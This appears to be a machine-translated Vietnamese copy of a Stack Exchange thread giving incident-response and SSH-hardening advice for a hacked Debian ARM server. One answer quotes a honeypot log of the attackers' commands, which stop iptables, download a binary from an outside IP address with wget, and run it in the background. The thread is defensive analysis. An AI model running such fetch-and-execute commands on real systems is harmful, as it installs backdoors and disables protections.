Journeyman Geek

2
Nếu đó là thiết bị tiêu dùng thì mật khẩu hoặc khóa ngẫu nhiên giống nhau trên tất cả chúng cũng là một ý tưởng tồi. Như bất cứ điều gì dựa trên số sê-ri, MAC của nó hoặc thông tin nhận dạng khác. (Một cái gì đó mà nhiều modem / bộ định tuyến / WAP SoHO dường như đã bỏ lỡ).
Hennes

2
Nó là một thiết bị tiêu dùng. Tuy nhiên, đại đa số người tiêu dùng mục tiêu sẽ không được giáo dục đủ để biết SSH là gì. Vì vậy, SSH có thể bị tắt và rất có thể sẽ bị tắt.
trả lời

2
Ngoài ra, sử dụng fail2ban .
Shadur 2/2/2016

34

Oh, bạn đã chắc chắn bị hack. Ai đó dường như đã có thể có được thông tin gốc và đã cố tải xuống một Trojan vào hệ thống của bạn. MariusMatutiae cung cấp một phân tích về tải trọng.

Hai câu hỏi được đặt ra: a) Kẻ tấn công có thành công không? Và b) bạn có thể làm gì về nó?

Câu trả lời cho câu hỏi đầu tiên có thể là không. Lưu ý cách kẻ tấn công liên tục cố gắng tải xuống và chạy tải trọng, dường như không thành công. Tôi nghi ngờ rằng một cái gì đó (SELinux, perchance?) Đã cản đường anh ta.

TUY NHIÊN: Kẻ tấn công cũng thay đổi /etc/rc.d/rc.localtệp của bạn , với hy vọng rằng khi bạn khởi động lại hệ thống của mình, tải trọng sẽ được kích hoạt. Nếu bạn chưa khởi động lại hệ thống, đừng khởi động lại cho đến khi bạn xóa những thay đổi này khỏi /etc/rc.d/rc.local. Nếu bạn đã khởi động lại nó ... tốt, thật may mắn.

Về những gì bạn có thể làm về nó: Điều an toàn nhất để làm là xóa sạch hệ thống và cài đặt lại từ đầu. Nhưng điều này có thể không phải luôn luôn là một lựa chọn. Một điều ít an toàn hơn đáng kể để làm là phân tích chính xác những gì đã xảy ra và xóa sạch mọi dấu vết của nó, nếu bạn có thể. Một lần nữa, nếu bạn chưa khởi động lại hệ thống, có lẽ tất cả những gì bạn cần là sạch /etc/rc.d/rc.local, hãy xóa mọi thứ mà kẻ tấn công đã tải xuống và cuối cùng nhưng không kém phần quan trọng, hãy thay đổi mật khẩu cực ngầu!

Tuy nhiên, nếu kẻ tấn công đã có thể chạy tải trọng, có thể có những sửa đổi khác đối với hệ thống của bạn có thể khó phát hiện. Đó là lý do tại sao một lau hoàn toàn thực sự là tùy chọn an toàn (và được khuyến nghị). Như bạn đã chỉ ra, thiết bị được đề cập có thể là mục tiêu thử nghiệm / phát triển nên có lẽ việc xóa nó không gây đau đớn như trong các trường hợp khác.

Cập nhật : Mặc dù tôi đã viết gì về khả năng phục hồi có thể, tôi muốn nhắc lại khuyến nghị rất mạnh mẽ của MariusMatutiae về việc không đánh giá thấp thiệt hại tiềm tàng do tải trọng này gây ra và mức độ mà nó có thể đã làm tổn hại hệ thống mục tiêu.


2
Cảm ơn. Tôi đã quyết định xóa sạch hệ thống. Tôi đã khởi động lại nó một vài lần nhưng chỉ để sao chép một số dữ liệu cần thiết. Không có mã nhị phân, chỉ có mã nguồn. Tôi đoán bây giờ tôi khá an toàn.
trả lời 2/2/2016

Còn các hộp khác trên cùng mạng LAN thì sao?
WGroleau

Câu hỏi hay. Lịch sử vỏ được cung cấp không chỉ ra bất kỳ nỗ lực nào để khám phá và thỏa hiệp các hộp khác trên cùng một mạng. Tổng quát hơn, nếu kẻ tấn công giành được quyền truy cập SSH (root) vào một hộp, về cơ bản, điều đó có nghĩa là anh ta đã bỏ qua bất kỳ tường lửa chu vi nào. Tuy nhiên, nó không tự động ngụ ý rằng các hộp khác bị xâm phạm: điều đó sẽ yêu cầu một thứ khác như lỗ hổng chưa được vá, mật khẩu được chia sẻ giữa các hộp, tự động đăng nhập từ hộp này sang hộp khác, v.v.
Viktor Toth

18

Sshd-honeypot của tôi cũng đã thấy kiểu tấn công này. Tải xuống đầu tiên từ URL đó bắt đầu 2016-01-29 10:25:33 và các cuộc tấn công vẫn đang tiếp diễn. Tấn công là / đã đến từ

103.30.4.212
111.68.6.170
118.193.228.169

Đầu vào từ những kẻ tấn công này là:

dịch vụ iptables dừng
wget http://222.186.30.209:65534/yjz1
nohup / root / yjz1> / dev / null 2> & 1 &
chmod 0777 yjz1
chmod u + x yjz1
./yjz1 &
chmod u + x yjz1
./yjz1 &
cd / tmp

Vì vậy, không có hoạt động nào khác ngoài việc cài đặt cửa sau cho sau này.


Đồng ý, đó là MO.
MariusMatutiae 2/2/2016

1
@MariusMatutiae Vậy đây không phải là hack thủ công sao? Đó là một số loại sâu / bot tự lây lan?
NickG

1
@NickG Dự đoán tốt nhất của tôi là đây không phải là hack thủ công. Xác suất mà vaid làm việc trong cùng văn phòng với người khởi tạo botnet có trụ sở tại Trung Quốc là gì? Ai đó đã tìm thấy một điểm yếu có thể khai thác trong máy của anh ta, rất có thể là một máy chủ ssh được bảo mật yếu, đã buộc mật khẩu của anh ta, có được quyền truy cập, cố gắng tự cài đặt một cách lén lút. Tuy nhiên, tôi cũng cá rằng kẻ tấn công thông thạo Windows hơn so với Linux. Nhưng tôi không có bằng chứng cứng nhắc về điều này, chỉ là một phỏng đoán có giáo dục.
MariusMatutiae

12

Mọi người ở đây đã đưa ra lời khuyên chắc chắn, nhưng để rõ ràng, các ưu tiên của bạn nên sao lưu và xác minh những gì bạn thực sự cần từ hệ thống đó, sau đó xóa sạch nó bằng một bản cài đặt mới từ phương tiện an toàn đã biết.

Trước khi bạn kết nối máy chủ mới được cài đặt của mình với Internet, hãy xem qua các ý tưởng sau:

  1. Tạo người dùng không root mới và đăng nhập với tư cách người dùng đó. Bạn không bao giờ cần phải đăng nhập với quyền root, chỉ cần sudo (người dùng thay thế làm) khi cần.

  2. Cài đặt SE Linux, cài đặt cấu hình cho phép kiểm soát truy cập bắt buộc: https://wiki.debian.org/SELinux/setup

  3. Xem xét một tường lửa phần cứng giữa văn phòng / nhà của bạn và Internet. Tôi sử dụng MicroTik, có hỗ trợ cộng đồng tuyệt vời: http://routerboard.com/ .

Giả sử bạn đang ở trên dòng thời gian để hoàn thành công việc được trả lương của mình, ít nhất là làm số 1. # 3 là nhanh và rẻ, nhưng bạn sẽ cần phải chờ gói hàng trong thư hoặc lái xe đến cửa hàng.


3
Và, trên hết, đừng để máy tính của bạn chạy không giám sát với phiên root mở!
MariusMatutiae 2/2/2016

11
  1. debian-armhf hostname của bạn? Hay bạn sử dụng cài đặt mặc định với cài đặt mặc định? Không có vấn đề gì với điều đó, nhưng bạn không nên cho phép máy chủ tiếp xúc trực tiếp với Internet (ít nhất là không được bảo vệ bởi modem của bạn).

  2. Có vẻ như rắc rối thực sự đến từ 222.186.30.209 (xem http://anti-hacker-alliance.com/index.php?ip=222.186.30.209 ). Bạn không nên trả nhiều tiền để xem IP của Microsoft. IP có thể ít nhiều bị giả mạo / giả mạo khá dễ dàng.

  3. Một cách thông thường để kết nối với Internet là chuyển tiếp một danh sách các cổng đã biết từ IP công cộng của bạn (ví dụ: 8.8.8.8) đến địa phương của bạn (ví dụ 192.168.1.12).

    • Chẳng hạn, không chuyển tiếp tất cả các kết nối đến từ 8.8.8.8 (công khai) đến 192.168.1.12 (cục bộ).

    • Chỉ chuyển tiếp cổng 2225 (ssh và thư đến tương ứng). Tất nhiên, bạn cũng nên có các gói / thư viện sshsmtp cập nhật .

  4. Cái gì tiếp theo? Ngắt kết nối máy chủ và thay đổi bất kỳ mật khẩu nào (trên bất kỳ máy tính nào được liên kết với tổ chức) được mã hóa cứng trong tập lệnh shell (xấu hổ với bạn!) Trong /etc/shadow.


1. Có debian-armhf là tên máy chủ. 2. Có, tôi đã đọc bài viết đó và tôi đã liên hệ với Microsoft qua trang web của họ cest.microsoft.com. 3. Tôi chỉ chuyển tiếp 25 và 22, không có gì khác được chuyển tiếp. 4. Tôi sẽ làm điều đó
trả lời

"IP có thể giả mạo ít nhiều dễ dàng": Tôi không phải là chuyên gia bảo mật cũng như mạng. Làm thế nào là có thể?
kevinarpe

@kevinarpe Đó có lẽ là một câu hỏi riêng biệt tốt hơn nhiều.
một CVn


2
@Aroolar: SSH là TCP; giả mạo IP nguồn TCP là khó khăn nếu không phải là không thể. Ngoài ra, như đã thiết lập ở trên, Microsoft IP thuộc về dịch vụ đám mây Azure của họ, điều đó có nghĩa là bất kỳ ai cũng có thể đã mua thời gian trên dịch vụ để tấn công người khác.
nneonneo 7/2/2016

9

Như những người khác đã nêu, khá rõ ràng bảo mật máy chủ của bạn đã bị xâm phạm. Điều an toàn nhất là lau máy này và cài đặt lại.

Để trả lời phần thứ hai của câu hỏi của bạn, nếu bạn không thể sử dụng auth khóa công khai, tôi khuyên bạn ít nhất nên thiết lập Fail2Ban và chạy SSH trên một cổng không chuẩn. Tôi cũng vô hiệu hóa quyền truy cập SSH gốc.

Fail2Ban sẽ giúp giảm thiểu các cuộc tấn công vũ phu bằng cách cấm các địa chỉ IP không đăng nhập được trong một số lần nhất định.

Đặt sshd để nghe trên một cổng không chuẩn ít nhất sẽ giúp giảm khả năng hiển thị của máy chủ SSH của bạn một chút. Vô hiệu hóa đăng nhập gốc cũng làm giảm nhẹ hồ sơ tấn công. Trong /etc/sshd_config:

PermitRootLogin no
Port xxxxx

Khi đăng nhập root bị vô hiệu hóa, bạn sẽ cần phải chuyển sang root sukhi đã kết nối hoặc (tốt nhất là) sử dụng sudođể thực thi các lệnh đặc quyền.


Tôi đã làm cả hai điều đó, cảm ơn vì lời khuyên.
trả lời

8

Máy chủ SSH liên tục bị tấn công trên internet. Một vài điều bạn làm:

  1. Đảm bảo bạn sử dụng mật khẩu ngẫu nhiên rất an toàn cho các máy có thể truy cập internet. Tôi có nghĩa là như 16 ký tự trở lên và hoàn toàn ngẫu nhiên. Sử dụng trình quản lý mật khẩu để bạn không phải ghi nhớ nó. Nếu bạn có thể ghi nhớ mật khẩu của mình, nó quá đơn giản.

  2. Nếu bạn không cần SSH, hãy tắt nó đi. Nếu bạn cần nó, nhưng không cần nó có thể truy cập công khai, hãy chạy nó với số cổng cao, không chuẩn. Làm điều này sẽ làm giảm đáng kể các nỗ lực hack. Có, một hacker chuyên dụng có thể thực hiện quét cổng, nhưng các bot tự động sẽ không tìm thấy nó.

Đoạn mã từ nhật ký xác thực của bạn cho thấy một lần thử thất bại. Tuy nhiên, nếu bạn nhìn xa hơn, bạn sẽ không thấy đăng nhập thành công. Nếu bạn sử dụng một mật khẩu đơn giản, thì việc bot vào được là chuyện nhỏ.

Bạn cần cách ly máy này khỏi mạng. Rất cẩn thận có được những gì bạn cần từ nó, và sau đó lau nó.


7
Khi tôi từng chạy ssh trên cổng 22, tôi thường sẽ có hàng ngàn lần hack mỗi ngày. Khi tôi đổi thành số cổng cao (hơn 50000), các nỗ lực hack này đã hoàn toàn dừng lại.
dùng1751825

16 ký tự không đủ an toàn. Người dùng đăng xuất cũng tiện dụng. Chỉ cần đừng biến nó thành một khóa perm, làm cho nó hết hạn, nhưng làm cho nó giống như một giờ. Bằng cách này bạn vẫn có thể truy cập máy chủ.
Ramhound

Lưu ý rằng bước 2) không thực sự cần thiết cho bảo mật, miễn là bạn có xác thực mạnh (khóa chung hoặc mật khẩu mạnh).
dùng20574

2
@Ramhound Tại sao không? Ngay cả khi đó chỉ là chữ cái viết thường, 16 chữ cái viết thường mang lại khả năng 43608742899428874059776, điều này là không thực tế đối với vũ lực, đặc biệt là đối với một kẻ vũ phu trực tuyến nơi máy chủ khiến bạn phải chờ đợi mỗi khi bạn thất bại.
user20574

3
@ người dùng 20574. Mặc dù không thực sự cần thiết, việc giảm khả năng hiển thị của dịch vụ SSH vẫn rất hữu ích. Ngay cả khi không vì lý do nào khác ngoài việc loại bỏ sự lộn xộn khỏi nhật ký của bạn. Nếu một máy chỉ cần có thể truy cập được đối với một nhóm người giới hạn, thì một cổng không chuẩn là một bước hoàn toàn hợp lý để cải thiện bảo mật.
dùng1751825

6

Điều đầu tiên mà bất cứ ai / mọi người nên làm sau khi thiết lập máy chủ Linux / Unix trực diện là tắt ngay lập tức root.

Hệ thống của bạn đã bị xâm phạm. Bạn có một nhật ký lịch sử đang chạy có thể rất tuyệt để xem xét ở một mức độ nào đó. Nhưng thành thật mổ xẻ các chi tiết cụ thể là một chút khó khăn và sẽ không giúp bạn bảo mật máy chủ của mình. Nó cho thấy tất cả các loại vô nghĩa xảy ra khi botnet sinh ra phần mềm độc hại, rất có thể là thứ đã lây nhiễm máy chủ của bạn, lây nhiễm hệ thống Linux. Câu trả lời được cung cấp bởi @MariusMatutiae rất hay và được suy nghĩ kỹ và có những người khác nhắc lại rằng bạn đã bị hack thông qua roottruy cập, đó là giấc mơ ướt của phần mềm độc hại / botnet.

Có một vài lời giải thích về cách vô hiệu hóa rootnhưng tôi sẽ nêu ra từ kinh nghiệm cá nhân, hầu hết mọi thứ vượt quá những gì tôi sẽ mô tả ngay bây giờ là quá mức cần thiết. Đây là những gì bạn nên làm khi lần đầu tiên thiết lập máy chủ:

  1. Tạo một người dùng mới có sudoquyền: Tạo một người dùng mới với một tên mới, một cái gì đó giống như Sử cooldudedụng một lệnh như sudo adduser cooldudenếu bạn đang sử dụng Ubuntu hoặc một loại hệ thống Debian khác. Sau đó, chỉ cần chỉnh sửa thủ công sudotệp bằng cách sử dụng một lệnh như thế này sudo nano /etc/sudoersvà thêm một dòng như cooldude ALL=(ALL:ALL) ALLbên dưới dòng tương đương nên đọc root ALL=(ALL:ALL) ALL. Khi đã xong, hãy đăng nhập cooldudevà kiểm tra sudolệnh bằng một lệnh như tinh vi sudo wcơ bản và không phá hủy để xem các sudoquyền có hoạt động không. Bạn có thể được nhắc nhập mật khẩu. Điều đó có hiệu quả? Tất cả đều tốt! Chuyển sang bước tiếp theo.
  2. Khóa roottài khoản: Được rồi, bây giờ mà cooldudelà chịu trách nhiệm với sudoquyền, đăng nhập như cooldudevà chạy lệnh này để khóa tài khoản root sudo passwd -l root. Nếu bằng cách nào đó bạn đã tạo một cặp khóa SSH cho root, hãy mở /root/.ssh/authorized_keysvà xóa các khóa. Hoặc tốt hơn nữa, chỉ cần đổi tên tệp đó authorized_keys_OFFnhư thế này, sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFFđể vô hiệu hóa các khóa SSH một cách hiệu quả. Tôi thích điều này hơn vì trong trường hợp không có khả năng bạn vẫn cần mật khẩu đăng nhập ít hơn, bạn chỉ cần chuyển tập tin đó trở lại tên ban đầu và bạn nên đi tiếp.

FWIW, tôi đã được quản lý hàng chục máy chủ Linux qua các năm (thập kỷ?) Và biết từ kinh nghiệm mà chỉ đơn giản vô hiệu hóa root-Và thiết lập người dùng mới với sudoquyền là cách đơn giản và cơ bản nhất để bảo đảm bất kỳ hệ thống Linux. Tôi chưa bao giờ phải đối phó với bất kỳ loại thỏa hiệp nào thông qua SSH một lần rootbị vô hiệu hóa. Và vâng, bạn có thể thấy những nỗ lực để đăng nhập thông qua auth.lognhưng chúng là vô nghĩa; nếu rootbị vô hiệu hóa thì những nỗ lực đó sẽ không bao giờ thêm vào bất cứ điều gì. Chỉ cần ngồi lại và xem những nỗ lực không ngừng!

Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.